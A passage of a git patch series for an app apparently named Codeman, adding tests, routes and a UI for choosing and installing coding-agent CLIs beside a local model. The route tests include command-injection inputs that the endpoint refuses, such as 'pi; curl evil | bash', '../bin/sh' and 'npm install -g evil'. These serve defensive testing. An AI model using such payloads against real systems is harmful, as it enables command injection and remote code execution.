offer it). + for (const cli of ['claude', 'not-a-cli']) { + expect(await h.service.installAgent({ cli }, ADMIN)).toEqual({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotOffered }, + }); + } + // A launcher, or a command that needs an administrator: listed, never installed from here. + h.deps.buildHarnessFacts.mockImplementation(async () => [ + { cli: 'opencode', label: 'OpenCode', installed: false, installable: false, acceptsModelId: () => true }, + ]); + expect((await h.service.view()).harnesses[0]).toMatchObject({ status: 'setup-needed', actions: [] }); + expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toEqual({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } }, + }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + }); + + it('is refused outside installed: 409 wrong-state', async () => { + for (const state of [undefined, jobAt('model', 'paused')]) { + const h = setup(state ? { state } : {}); + expect(await h.service.installAgent({ cli: 'opencode' }, ADMIN)).toMatchObject({ + ok: false, + status: 409, + conflict: { reason: 'wrong-state' }, + }); + expect(h.deps.runInstallCommand).not.toHaveBeenCalled(); + } + }); + + it('a server that stops ends the installer and records nothing', async () => { + const h = await withoutAgent(); + let seen: AbortSignal | undefined; + h.deps.runInstallCommand.mockImplementation((async (_command: string, options?: { signal?: AbortSignal }) => { + seen = options?.signal; + await untilAborted(options?.signal); + return { code: null, output: '', timedOut: false, aborted: true }; + }) as never); + await h.service.installAgent({ cli: 'opencode' }, ADMIN); + await vi.waitFor(() => expect(seen).toBeDefined()); + await h.service.shutdown(); + expect(seen?.aborted).toBe(true); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + // Interrupted is not failed: the row has no error. + expect((await h.service.view()).harnesses[0]).not.toHaveProperty('error'); + }); +}); + describe('deleteLibraryModel: one model out of the store', () => { async function twoModelsRunning() { const h = setup({ state: TWO_MODELS, runtimeOnDisk: true, agentInstalled: true }); diff --git a/test/local-model-recommend.test.ts b/test/local-model-recommend.test.ts index 8114bbc45..0cadb4576 100644 --- a/test/local-model-recommend.test.ts +++ b/test/local-model-recommend.test.ts @@ -150,7 +150,12 @@ function without(facts: HardwareFacts, ...fields: (keyof HardwareFacts)[]): Hard } /** Display labels of the stock harnesses, as the CLI registry would supply them. Data, not a branch. */ -const HARNESS_LABELS: Record = { opencode: 'OpenCode', claude: 'Claude Code', pi: 'Pi' }; +const HARNESS_LABELS: Record = { + opencode: 'OpenCode', + claude: 'Claude Code', + pi: 'Pi', + deepseek: 'DeepSeek', +}; /** What the server knows about one harness: installed and accepting every model id, unless overridden. */ function fact(cli: string, overrides: Partial = {}): HarnessFact { @@ -170,7 +175,10 @@ const STOCK = getLocalModelCatalog(); /** The frozen catalogue of 2026-11-06: for the rule tests (see the file header). */ const RULES = LocalModelCatalogSchema.parse(RULES_LOCAL_MODEL_CATALOG); -/** Every harness installed, the gated one included. Both catalogues list the same three. */ +/** + * Every harness installed. The stock catalogue lists four and gates none; the rules catalogue + * lists the first three of them and gates one, which is what the gate tests need. + */ const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => fact(row.cli)); /** A stock model row by id. */ @@ -595,9 +603,12 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { tested: true, needSource: 'measured', tag: { kind: 'tested', label: 'Tested on a Mac like this' }, + // Every harness of the catalogue can run it, the pick's own first, then by rank. harnesses: [ { cli: 'opencode', cliLabel: 'OpenCode', installed: true }, { cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true }, + { cli: 'pi', cliLabel: 'Pi', installed: true }, + { cli: 'deepseek', cliLabel: 'DeepSeek', installed: true }, ], // No runtime download was named, so an install downloads the model alone. installBytes: 23_105_798_956, @@ -1642,9 +1653,12 @@ describe('harnesses', () => { const hw = mac(48, 'Apple M4 Max'); it('never chooses a gated harness, even when it is the only one that could run a model', () => { + // The rule is tested on the rules catalogue, which gates one harness. The stock catalogue + // gates none since 2026-11-10; the sweep still runs on it, so a row gated again is covered. + expect(RULES.harnesses.filter((row) => row.gated).map((row) => row.cli)).toEqual(['pi']); + expect(STOCK.harnesses.filter((row) => row.gated)).toEqual([]); for (const [, catalog] of BOTH) { const gated = catalog.harnesses.filter((row) => row.gated).map((row) => row.cli); - expect(gated).toEqual(['pi']); for (const swept of SWEEP) { const result = recommend(swept, catalog, ALL_INSTALLED); for (const candidate of rows(result)) { diff --git a/test/routes/local-model-routes.test.ts b/test/routes/local-model-routes.test.ts index ac59b8b67..e8444f615 100644 --- a/test/routes/local-model-routes.test.ts +++ b/test/routes/local-model-routes.test.ts @@ -156,6 +156,7 @@ const IDLE_VIEW: LocalModelInstallView = { runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' }, folder: '/Users/me/.codeman/local-model', library: [], + harnesses: [], actions: ['install'], }; @@ -185,6 +186,7 @@ function fakeService(): ServiceMock { install: vi.fn(async () => OK_RESULT), use: vi.fn(async () => OK_RESULT), deleteLibraryModel: vi.fn(async () => OK_RESULT), + installAgent: vi.fn(async () => OK_RESULT), cancel: vi.fn(async () => OK_RESULT), resume: vi.fn(async () => OK_RESULT), runtime: vi.fn(async () => OK_RESULT), @@ -284,8 +286,21 @@ describe('GET /api/local-model', () => { const res = await get(f.deps); expect(res.json().data.install).toEqual(INSTALLING_VIEW); expect(f.service.view).toHaveBeenCalledTimes(1); + // The facts built for the recommendation are the ones the view lists its coding agents + // from: the availability probe is asked once per answer, not twice. + expect(f.service.view).toHaveBeenCalledWith({ harnessFacts: FACTS }); + expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1); // Looking is not doing: no verb of the service was called. - for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) { + for (const verb of [ + 'install', + 'installAgent', + 'cancel', + 'resume', + 'runtime', + 'remove', + 'boot', + 'shutdown', + ] as const) { expect(f.service[verb]).not.toHaveBeenCalled(); } }); @@ -565,6 +580,7 @@ describe('the install verbs', () => { url: '/api/local-model/models', payload: { modelId: 'qwen3.8:27b' }, }, + { name: 'installAgent', method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } }, { name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined }, { name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} }, { name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }, @@ -996,6 +1012,67 @@ describe('the library verbs', () => { }); }); + describe('POST /api/local-model/agent', () => { + it('hands the service the coding agent and who asked, and looks at no session', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS); + await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } }); + // Nothing about the model in use changes, so live sessions on it do not matter. + expect(f.service.installAgent).toHaveBeenCalledWith({ cli: 'pi' }, { username: 'alice', ip: '127.0.0.1' }); + }); + + it('an agent the server does not offer is a 400 with the sentence, as text and as data', async () => { + const f = fakes(); + f.service.installAgent.mockResolvedValue({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'DeepSeek' } }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'deepseek' } }); + expect(res.statusCode).toBe(400); + expect(res.json()).toEqual({ + success: false, + error: 'DeepSeek is not installed and cannot be installed from here.', + errorCode: 'INVALID_INPUT', + data: { + message: { + text: '{cli} is not installed and cannot be installed from here.', + vars: { cli: 'DeepSeek' }, + }, + }, + }); + }); + + it('an installer that already runs is a 409 with the reason', async () => { + const f = fakes(); + f.service.installAgent.mockResolvedValue({ + ok: false, + status: 409, + conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } }); + expect(res.statusCode).toBe(409); + expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT', data: { reason: 'job-running' } }); + }); + + it.each([ + ['no body', undefined], + ['no agent', {}], + ['a command', { cli: 'pi; curl evil | bash' }], + ['a path', { cli: '../bin/sh' }], + ['an upper-case id', { cli: 'Pi' }], + ['a command of its own', { cli: 'pi', command: 'npm install -g evil' }], + ])('refuses %s before the service is asked', async (_name, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', ...(payload ? { payload } : {}) }); + expect(res.statusCode).toBe(400); + expect(f.service.installAgent).not.toHaveBeenCalled(); + }); + }); + describe('DELETE /api/local-model/models', () => { it('hands the service the model name and who asked', async () => { const f = fakes(); From 0442b4cdbf5c61166f93cb9ac5a19b961773abf4 Mon Sep 17 00:00:00 2001 From: Codeman maintainer Date: Wed, 11 Nov 2026 10:00:03 +0100 Subject: [PATCH 06/11] feat(local-model): pick the coding agent in the window, and install one that is missing The installed screen gets one more block, "Start a session with": a chip per coding agent the model in use can be run with, as a radio group, the server's default selected. A chip that is not on the Mac says so. The main button follows the selected chip: - an agent that can be started: "Start a session", with that agent; - an agent that is not on the Mac: its literal install command above the button, and "Install ". The click is the consent; the server runs its own stock command, and the window shows "Installing" on the chip while the model stays ready and another agent can be started; - an agent that needs a setup of its own (DeepSeek Harness without a terminal profile): one line that says where, nothing to press. A failed install shows the server's sentence under the chip with the installer's last words folded away; the model's own headline is untouched. On a stopped model Start stays the one main button. The choice is remembered on the device. A server that lists no agents gets the screen it had. Rendered in Chromium at 1440, 390 and 320 px on a dark and a light skin: the chips wrap, nothing leaves the window. Co-Authored-By: Claude Fable 5.2 --- src/web/public/i18n.js | 12 ++ src/web/public/local-model-ui.js | 247 +++++++++++++++++++-- src/web/public/styles.css | 89 +++++++- test/local-model-ui.test.ts | 354 ++++++++++++++++++++++++++++++- 4 files changed, 688 insertions(+), 14 deletions(-) diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index d921df668..3ce4698fa 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1540,6 +1540,18 @@ 'Takes {memory} GB of memory now.': '目前占用 {memory} GB 内存。', 'All of it is on the GPU.': '全部位于 GPU 上。', 'Start a session': '开始会话', + // The coding agents of an installed model: one chip each, and the line under the selected one. + 'Start a session with': '开始会话时使用', + Installing: '正在安装', + 'Not installed': '未安装', + 'Needs setup': '需要设置', + 'Install {cli}': '安装 {cli}', + 'Installing {cli}. You can start a session with another agent meanwhile.': + '正在安装 {cli}。在此期间,你可以用其他智能体开始会话。', + '{cli} is not on this Mac yet. Codeman installs it with this command:': + '此 Mac 上尚未安装 {cli}。{name} 会用下面这条命令安装它:', + '{cli} needs a setup of its own. Set it up from the Run menu, then start a session with it here.': + '{cli} 需要单独设置。请先在"运行"菜单中完成设置,然后就可以在这里用它开始会话。', 'Remove the local model from this Mac?': '要从此 Mac 移除本地模型吗?', 'Also delete the downloaded model': '同时删除已下载的模型', 'The coding agent stays installed.': '编程智能体会保留,不会被卸载。', diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index dc2101779..6c22c0da4 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -13,6 +13,7 @@ * POST /api/local-model/runtime { action: 'start' | 'stop', newPort? } * DELETE /api/local-model { removeModel } * DELETE /api/local-model/models { modelId } + * POST /api/local-model/agent { cli } * * ## Three surfaces, one window * @@ -35,9 +36,11 @@ * | `progress` | installing: the download bar, the steps, Cancel | * | `paused` | paused (Cancel or a server restart): Continue or Remove | * | `failed` | failed: the server's sentence and the ONE action that helps | - * | `installed` | installed: running or stopped, the models on this Mac with their | - * | | size on disk (Use, Delete), Add a model, Start a session, | - * | | Stop/Start, Remove (right after an install: Start a session alone) | + * | `installed` | installed: running or stopped, the coding agents a session can be | + * | | started with, the models on this Mac with their size on disk | + * | | (Use, Delete), Add a model, Start a session (or "Install " | + * | | for one that is not on this Mac), Stop/Start, Remove (right after | + * | | an install: Start a session alone) | * | `none` | idle and nothing fits: the hardware line, the reason, Close | * * The memory bar is the one strong element: the memory this Mac can give a model, filled to @@ -61,6 +64,14 @@ * models (`install.store`) and "Add a model". A row has a button only for an action the server * lists for THAT row (`row.actions`). * + * The coding agent is chosen per session (`install.harnesses`): on the installed screen every + * agent the model can be run with is a chip of one radio group, the server's default first. + * The main button follows the selected chip: "Start a session" for one that can be started, + * "Install " for one that is not on this Mac (its literal install command is on screen + * above the button, so the click is the consent), and nothing to press for one that needs a + * setup of its own. An install of an agent runs beside the model: the state stays `installed`, + * and another agent can be started meanwhile. The choice is remembered on this device. + * * ## Polling * * The window asks the GET once a second WHILE IT IS OPEN, and never otherwise (there is no SSE @@ -115,6 +126,9 @@ const LOCAL_MODEL_POLL_MS = 1000; /** What `confirmDelete` holds while the question is about everything an earlier Remove kept. No model id has a space. */ const LOCAL_MODEL_STORE_KEY = 'the store'; +/** Where this device remembers the coding agent last chosen for a session (a CLI id, as data). */ +const LOCAL_MODEL_AGENT_STORAGE_KEY = 'codeman-local-model-agent'; + /** The tag kinds of the server's pick (`CandidateTagKind`): the ones drawn in the accent colour. */ const LOCAL_MODEL_ACCENT_TAGS = ['tested', 'best', 'best-tight']; @@ -240,6 +254,39 @@ function localModelLibraryTag(row) { return { text: localModelT('Not checked'), kind: 'unverified' }; } +/** The rows of `install.harnesses`: the coding agents the model in use can be run with. A payload without the list has none. */ +function localModelAgents(install) { + return (Array.isArray(install.harnesses) ? install.harnesses : []).filter( + (row) => row && typeof row.cli === 'string' && row.cli + ); +} + +/** What an agent chip says beside the name, and the tag class that colours it. Nothing for one that can be started. */ +function localModelAgentTag(row) { + if (row.status === 'installing') return { text: localModelT('Installing'), kind: 'tight' }; + if (row.status === 'installable') return { text: localModelT('Not installed'), kind: 'unverified' }; + if (row.status === 'setup-needed') return { text: localModelT('Needs setup'), kind: 'unverified' }; + return null; +} + +/** The coding agent this device chose last, or '' (storage can be empty or refused: the default agent stands then). */ +function localModelStoredAgent() { + try { + const value = window.localStorage.getItem(LOCAL_MODEL_AGENT_STORAGE_KEY); + return typeof value === 'string' ? value : ''; + } catch { + return ''; + } +} + +function localModelStoreAgent(cli) { + try { + window.localStorage.setItem(LOCAL_MODEL_AGENT_STORAGE_KEY, String(cli)); + } catch { + /* a convenience only */ + } +} + /** * The coding agents a row can run with. A payload without the list means the one agent of the * row's flat fields. @@ -545,6 +592,11 @@ Object.assign(CodemanApp.prototype, { modelId: null, /** The selected coding agent (a CLI id, as data), or null for the row's first. */ cli: null, + /** + * The coding agent chosen for a session on the installed model (a CLI id, as data), or + * null: what this device chose last, else the server's default. + */ + agent: null, /** A verb is in flight: every button waits. */ busy: false, /** What the last verb answered when it was refused. */ @@ -580,6 +632,19 @@ Object.assign(CodemanApp.prototype, { return { candidates, candidate, harnesses, harness }; }, + /** + * The coding agents of the installed model and the one a session would start with: the one + * chosen in this window, else the one this device chose last, else the server's default + * (its first row). `row` is null when the server lists none. + */ + _localModelAgent() { + const ui = this._localModelWindowState(); + const rows = localModelAgents(localModelInstall(this._localModelStatus)); + const wanted = ui.agent || localModelStoredAgent(); + const row = rows.find((entry) => entry.cli === wanted) || rows.find((entry) => entry.default === true) || rows[0]; + return { rows, row: row || null }; + }, + /** Which screen the window shows, see the table in @fileoverview. */ _localModelScreen() { const ui = this._localModelWindowState(); @@ -845,6 +910,25 @@ Object.assign(CodemanApp.prototype, { if (asked) this._focusLocalModelWindow(asked === LOCAL_MODEL_STORE_KEY ? 'store-delete' : `delete:${asked}`); }, + /** Select a coding agent for the next session. Remembered on this device; nothing is sent. */ + selectLocalModelAgent(cli) { + const ui = this._localModelWindowState(); + if (ui.busy || typeof cli !== 'string' || !cli) return; + ui.agent = cli; + ui.notice = null; + localModelStoreAgent(cli); + this.renderLocalModel(); + }, + + /** + * "Install ": the consent click for the command shown above the button. The server + * runs its own stock command for that agent, never text from here, and answers at once: the + * install goes on beside the model and the next polls say how it stands. + */ + installLocalModelAgent(cli) { + return this._localModelVerb('POST', '/api/local-model/agent', { cli }); + }, + cancelLocalModelInstall() { return this._localModelVerb('POST', '/api/local-model/cancel'); }, @@ -873,20 +957,22 @@ Object.assign(CodemanApp.prototype, { }, /** - * "Start a session": a session on the saved connection with the coding agent of the install. + * "Start a session": a session on the saved connection with a coding agent: `cli` (the + * chip that is selected), or without one the server's default agent (`install.cli`). * The page's own copies are stale right after an install (the settings flag was switched on * by the server and the agent may have been installed a moment ago), so both are read again * before the existing launcher runs. Both values are the payload's; no id is compared. */ - async startLocalModelSession() { + async startLocalModelSession(cli) { const install = localModelInstall(this._localModelStatus); - if (typeof install.cli !== 'string' || typeof install.endpointId !== 'string') return; + const agent = typeof cli === 'string' && cli ? cli : install.cli; + if (typeof agent !== 'string' || typeof install.endpointId !== 'string') return; const settingsOpen = document.getElementById('appSettingsModal')?.classList.contains('active'); this.closeLocalModelWindow(); if (settingsOpen) this.closeAppSettings?.(); await this.loadAppSettingsFromServer?.(); await this.loadCliListForSettings?.(); - await this.selectCustomModelEntry?.(install.cli, install.endpointId); + await this.selectCustomModelEntry?.(agent, install.endpointId); }, // ═══════════════════════════════════════════════════════════════ @@ -1495,6 +1581,107 @@ Object.assign(CodemanApp.prototype, { return box; }, + /** + * The coding agents a session on the installed model can be started with + * (`install.harnesses`): one chip per agent, a radio group, and under it one line about the + * selected one. For an agent that is not on this Mac that line is the literal install command + * (the main button then reads "Install "), and after a failed install the server's + * sentence with the installer's last words folded away. `null` when the server lists none. + */ + _localModelAgentsEl() { + const ui = this._localModelWindowState(); + const { rows, row: chosen } = this._localModelAgent(); + if (!rows.length || !chosen) return null; + + const section = localModelEl('div', 'lm-agents'); + const label = localModelEl('p', 'lm-agents-label', localModelT('Start a session with')); + label.id = 'localModelAgentsLabel'; + section.appendChild(label); + + const group = localModelEl('div', 'lm-agent-list'); + group.setAttribute('role', 'radiogroup'); + group.setAttribute('aria-labelledby', 'localModelAgentsLabel'); + for (const row of rows) { + const on = row === chosen; + const chip = localModelEl('button', on ? 'lm-agent lm-agent-on' : 'lm-agent'); + chip.type = 'button'; + chip.setAttribute('role', 'radio'); + chip.setAttribute('aria-checked', on ? 'true' : 'false'); + // One tab stop for the group: the selected chip. + chip.tabIndex = on ? 0 : -1; + chip.dataset.lmKey = `agent:${row.cli}`; + chip.disabled = ui.busy; + const radio = localModelEl('span', 'lm-radio'); + radio.setAttribute('aria-hidden', 'true'); + chip.appendChild(radio); + chip.appendChild(localModelEl('span', 'lm-agent-name', String(row.cliLabel || row.cli))); + const tag = localModelAgentTag(row); + if (tag) chip.appendChild(localModelEl('span', `lm-tag lm-tag-${tag.kind}`, tag.text)); + chip.addEventListener('click', () => this.selectLocalModelAgent(row.cli)); + group.appendChild(chip); + } + group.addEventListener('keydown', (event) => this._onLocalModelAgentKey(event)); + section.appendChild(group); + + const name = String(chosen.cliLabel || chosen.cli); + const about = localModelEl('div', 'lm-agent-about'); + if (chosen.status === 'installable' || chosen.status === 'installing') { + const lead = + chosen.status === 'installing' + ? localModelT('Installing {cli}. You can start a session with another agent meanwhile.', { cli: name }) + : localModelT('{cli} is not on this Mac yet. Codeman installs it with this command:', { cli: name }); + about.appendChild(localModelEl('p', 'lm-aside', lead)); + if (chosen.installCommand) about.appendChild(localModelEl('code', 'lm-command', String(chosen.installCommand))); + } else if (chosen.status === 'setup-needed') { + about.appendChild( + localModelEl( + 'p', + 'lm-aside', + localModelT( + '{cli} needs a setup of its own. Set it up from the Run menu, then start a session with it here.', + { + cli: name, + } + ) + ) + ); + } else if (chosen.slowFirstTurn === true) { + about.appendChild(localModelEl('p', 'lm-aside', localModelT('The first answer can take minutes.'))); + } + // The last install of this agent failed: the server's sentence, and what the installer said. + const error = chosen.status === 'installable' ? chosen.error : null; + if (error && error.message) { + const failed = localModelEl('div', 'lm-notice'); + failed.setAttribute('role', 'alert'); + failed.appendChild(localModelEl('p', 'lm-notice-text', localModelMessage(error.message))); + if (typeof error.detail === 'string' && error.detail) { + const details = localModelEl('details', 'lm-details'); + details.appendChild(localModelEl('summary', '', localModelT('Details'))); + details.appendChild(localModelEl('pre', 'lm-detail-text', error.detail)); + failed.appendChild(details); + } + about.appendChild(failed); + } + if (about.childElementCount) section.appendChild(about); + return section; + }, + + /** Arrow keys, Home and End move the selection of the agent chips, and the focus with it. */ + _onLocalModelAgentKey(event) { + const { rows, row } = this._localModelAgent(); + if (!rows.length || !row) return; + const index = rows.indexOf(row); + let next = -1; + if (event.key === 'ArrowDown' || event.key === 'ArrowRight') next = (index + 1) % rows.length; + else if (event.key === 'ArrowUp' || event.key === 'ArrowLeft') next = (index - 1 + rows.length) % rows.length; + else if (event.key === 'Home') next = 0; + else if (event.key === 'End') next = rows.length - 1; + if (next < 0 || next === index) return; + event.preventDefault(); + this.selectLocalModelAgent(rows[next].cli); + this._focusLocalModelWindow(`agent:${rows[next].cli}`); + }, + /** Arrow keys, Home and End move the selection of the radio group, and the focus with it. */ _onLocalModelListKey(event) { const selection = this._localModelSelection(); @@ -1962,7 +2149,9 @@ Object.assign(CodemanApp.prototype, { state.appendChild(localModelEl('span', 'lm-state-text', error ? `${model}, ${running}` : running)); parts.push(state); const about = []; - if (install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) })); + // The agents have their own block below when the server lists them; without the list, the one of the install. + const agent = this._localModelAgent().row; + if (!agent && install.cliLabel) about.push(localModelT('Runs with {cli}.', { cli: String(install.cliLabel) })); const line = this._localModelFactsLine(install); if (line) about.push(line); if (about.length) parts.push(localModelEl('p', 'lm-aside', about.join(' '))); @@ -1980,6 +2169,11 @@ Object.assign(CodemanApp.prototype, { // The screen that ends an install has one button. Stop and Remove are for the window // opened later (or for this one once anything else was said in it). const ending = ui.justInstalled === true && can('start-session') && !error && !notice; + // Which coding agent the next session runs with. Not on the screen that ends an install + // (that one says one thing: the session starts with the agent that was just chosen), and + // not while something blocks every session. + const agents = ending || error ? null : this._localModelAgentsEl(); + if (agents) parts.push(agents); // Everything that is on this Mac, what it takes on disk, and the way to another model. // Not on the screen that ends an install: that one says one thing. const library = ending ? null : this._localModelLibraryEl(install); @@ -2006,24 +2200,53 @@ Object.assign(CodemanApp.prototype, { ); } // Start is the main action of a stopped model, unless the error's own button says so already. + const startIsMain = + can('start') && + !(error && (error.next === 'start' || error.next === 'other-port')) && + !can('start-session') && + !next; if (can('start') && !(error && (error.next === 'start' || error.next === 'other-port'))) { buttons.appendChild( localModelButton(localModelT('Start'), { - key: can('start-session') || next ? 'start' : 'primary', - primary: !can('start-session') && !next, + key: startIsMain ? 'primary' : 'start', + primary: startIsMain, disabled: ui.busy, onClick: () => void this.setLocalModelRuntime('start'), }) ); } if (next) buttons.appendChild(next); - if (can('start-session')) { + // The main button follows the selected coding agent, by what the server offers for it. + const offers = (action) => !!agents && Array.isArray(agent?.actions) && agent.actions.includes(action); + if (agents && agent && agent.status !== 'ready') { + const name = String(agent.cliLabel || agent.cli); + if (offers('install')) { + buttons.appendChild( + localModelButton(localModelT('Install {cli}', { cli: name }), { + // A stopped model's main action is Start: installing an agent is the quiet one then. + key: startIsMain ? 'agent-install' : 'primary', + primary: !next && !startIsMain, + disabled: ui.busy, + onClick: () => void this.installLocalModelAgent(agent.cli), + }) + ); + } else if (agent.status === 'installing') { + buttons.appendChild( + localModelButton(localModelT('Installing {cli}', { cli: name }), { + key: startIsMain ? 'agent-install' : 'primary', + primary: !next && !startIsMain, + disabled: true, + }) + ); + } + // An agent that needs a setup of its own has nothing to press: the line above says where. + } else if (agents ? offers('start-session') : can('start-session')) { buttons.appendChild( localModelButton(localModelT('Start a session'), { key: 'primary', primary: !next, disabled: ui.busy, - onClick: () => void this.startLocalModelSession(), + onClick: () => void this.startLocalModelSession(agents && agent ? agent.cli : undefined), }) ); } diff --git a/src/web/public/styles.css b/src/web/public/styles.css index 2c952ce28..633a71ea3 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -23250,6 +23250,88 @@ html[data-skin='rose-pine-dawn'] { accent-color: var(--lm-brand); } +/* ── the coding agents of an installed model ─────────────────────── */ +/* One chip per agent a session can be started with, as a radio group: the + selected one in the look of the selected model row, a tag on the ones that + are not on this Mac. Under them, one line about the selected one. */ +.lm-agents { + display: flex; + flex-direction: column; + gap: 0.45rem; +} + +.lm-agents-label { + font-size: 0.7rem; + color: var(--text-dim); +} + +.lm-agent-list { + display: flex; + flex-wrap: wrap; + gap: 0.4rem; +} + +.lm-agent { + display: inline-flex; + align-items: center; + gap: 0.45rem; + min-height: 2.1rem; + padding: 0 0.7rem 0 0.6rem; + border: 1px solid var(--border); + border-radius: 9px; + background: transparent; + color: var(--text); + font: inherit; + font-size: 0.8rem; + cursor: pointer; + transition: + background var(--transition-smooth), + border-color var(--transition-smooth); +} + +.lm-agent:hover:not(:disabled) { + background: var(--control-bg); +} + +.lm-agent:focus-visible { + outline: 2px solid var(--lm-brand); + outline-offset: 1px; +} + +.lm-agent:disabled { + cursor: default; +} + +.lm-agent-on, +.lm-agent-on:hover:not(:disabled) { + border-color: color-mix(in srgb, var(--lm-brand) 55%, var(--border)); + background: linear-gradient( + 90deg, + color-mix(in srgb, var(--lm-brand) 17%, transparent), + color-mix(in srgb, var(--lm-brand) 5%, transparent) + ); +} + +.lm-agent .lm-radio { + flex: none; +} + +.lm-agent-on .lm-radio { + border-color: var(--lm-brand); + background: radial-gradient(circle, var(--lm-brand) 0 3px, transparent 3.5px); +} + +.lm-agent-name { + font-weight: 600; + white-space: nowrap; +} + +.lm-agent-about { + display: flex; + flex-direction: column; + gap: 0.3rem; +} + /* ── the models on this Mac ───────────────────────────────────────── */ /* Name with its context, state, size on disk, and what can be done with the row. One grid like the chooser's, so the sizes line up down the list. The @@ -23484,7 +23566,8 @@ html[data-skin='rose-pine-dawn'] { @media (prefers-reduced-motion: reduce) { .lm-bar-fill, - .lm-model { + .lm-model, + .lm-agent { transition: none; } } @@ -23495,6 +23578,10 @@ html[data-skin='rose-pine-dawn'] { min-height: 2.9rem; } + .lm-agent { + min-height: 2.6rem; + } + .local-model-window .wt-btn.lm-btn.lm-btn-row { min-height: 36px; } diff --git a/test/local-model-ui.test.ts b/test/local-model-ui.test.ts index e0d50bd6b..7496423e1 100644 --- a/test/local-model-ui.test.ts +++ b/test/local-model-ui.test.ts @@ -51,6 +51,7 @@ import type { HardwareFacts, LocalModelConflict, LocalModelErrorCode, + LocalModelHarnessRow, LocalModelInstallView, LocalModelLibraryRow, LocalModelMessage, @@ -77,7 +78,7 @@ interface App { openLocalModelWindow(): void; closeLocalModelWindow(): void; isLocalModelWindowOpen(): boolean; - startLocalModelSession(): Promise; + startLocalModelSession(cli?: string): Promise; loadAppSettingsFromServer?: () => Promise; loadCliListForSettings?: () => Promise; selectCustomModelEntry?: (cli: string, endpointId: string) => Promise; @@ -389,6 +390,7 @@ function install(over: Partial = {}): LocalModelInstallVi runtime: RUNTIME_MISSING, folder: FOLDER, library: [], + harnesses: [], actions: ['install'], ...over, }; @@ -2827,6 +2829,356 @@ describe('the models on this Mac', () => { }); }); +// ---------- The coding agents of an installed model ---------- + +/** The agents the server lists for the installed model: two that can be started, one to install, one that needs a setup. */ +const AGENTS: LocalModelHarnessRow[] = [ + { cli: 'opencode', cliLabel: 'OpenCode', default: true, status: 'ready', readyMark: '┃', actions: ['start-session'] }, + { + cli: 'claude', + cliLabel: 'Claude Code', + default: false, + status: 'ready', + slowFirstTurn: true, + actions: ['start-session'], + }, + { + cli: 'pi', + cliLabel: 'Pi', + default: false, + status: 'installable', + installCommand: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent', + actions: ['install'], + }, + { cli: 'deepseek', cliLabel: 'DeepSeek', default: false, status: 'setup-needed', readyMark: '❯', actions: [] }, +]; + +const withAgents = (rows: LocalModelHarnessRow[], over: Partial = {}) => + status( + {}, + { ...INSTALLED.install, harnesses: rows, actions: [...INSTALLED.install.actions, 'install-agent'], ...over } + ); + +const WITH_AGENTS = withAgents(AGENTS); + +describe('the coding agents of an installed model', () => { + const chips = (page: Mounted) => texts(page.body, '.lm-agent').map((text) => text.trim()); + const chosen = (page: Mounted) => + page.body.querySelector('.lm-agent[aria-checked="true"] .lm-agent-name')?.textContent ?? null; + const pick = (page: Mounted, label: string) => { + const chip = [...page.body.querySelectorAll('.lm-agent')].find( + (el) => el.querySelector('.lm-agent-name')!.textContent === label + ); + expect(chip, `no agent "${label}"`).toBeTruthy(); + chip!.click(); + }; + const launcher = (app: App) => { + app.loadAppSettingsFromServer = vi.fn(async () => undefined); + app.loadCliListForSettings = vi.fn(async () => undefined); + app.selectCustomModelEntry = vi.fn(async () => undefined); + return app.selectCustomModelEntry; + }; + + it('is one radio group: a chip per agent in the server order, the default selected, a tag on what is not there', async () => { + const page = mount(); + await opened(page, WITH_AGENTS); + const group = page.body.querySelector('.lm-agent-list')!; + expect(group.getAttribute('role')).toBe('radiogroup'); + expect(page.document.getElementById(group.getAttribute('aria-labelledby')!)!.textContent).toBe( + 'Start a session with' + ); + expect(texts(page.body, '.lm-agent-name')).toEqual(['OpenCode', 'Claude Code', 'Pi', 'DeepSeek']); + expect(chips(page)).toEqual(['OpenCode', 'Claude Code', 'PiNot installed', 'DeepSeekNeeds setup']); + expect(chosen(page)).toBe('OpenCode'); + // One tab stop for the group. + expect([...page.body.querySelectorAll('.lm-agent')].map((el) => el.tabIndex)).toEqual([0, -1, -1, -1]); + // The chips say which agent, so the facts line no longer does. + expect(page.body.textContent).not.toContain('Runs with'); + expect(buttons(page.body)).toEqual(['Remove', 